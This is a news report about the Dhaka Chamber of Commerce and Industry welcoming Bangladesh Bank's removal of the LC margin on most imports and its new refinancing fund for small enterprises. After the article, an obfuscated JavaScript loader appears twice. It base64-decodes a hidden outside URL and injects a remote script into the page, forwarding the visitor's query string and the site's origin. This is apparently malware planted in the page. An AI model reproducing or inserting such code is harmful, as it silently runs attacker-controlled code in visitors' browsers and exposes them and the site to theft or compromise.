Business Report :
The Dhaka Chamber of Commerce and Industry (DCCI) has lauded the central bank’s decision for LC margin withdrawal stating that it would stimulate trade and investment in the country.
Recently, Bangladesh Bank through a circular took a decision of lifting the LC margin on all types of imports except for some luxury products manufactured in Bangladesh with a view to largely alleviate the recent stagnation caused at the product import level and speed up industrialization.
In addition, the Dhaka Chamber expects that the initiative of forming a ‘Revolving Refinancing Fund’ by the central bank with the aim of expanding the financial services for the development of cottage, micro, small and medium enterprises (CMSME) in the country will make financing of entrepreneurs in this sector easier.
The DCCI applauded the central bank for taking such initiative in the prevailing situation of the financial sector and economy.
As per the directives of the central bank, from now on importers can import all types of capital equipment, consumer goods and capital raw materials without any margin on the basis of bank-customer relationship.
Moreover, if imports increase; new investment, re-investment, availability of capital equipment and overall industrial production will subsequently increase, that would bring a positive result in export growth, said DCCI President Ashraf Ahmed.
Along with this, the supply of raw materials to the industries will also increase; as a result, factories will be able to ensure full-fledged production at their highest capacity, he added.
Supply of products in the market will accordingly increase as well as it may have a positive impact on the overall inflation situation of the country.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();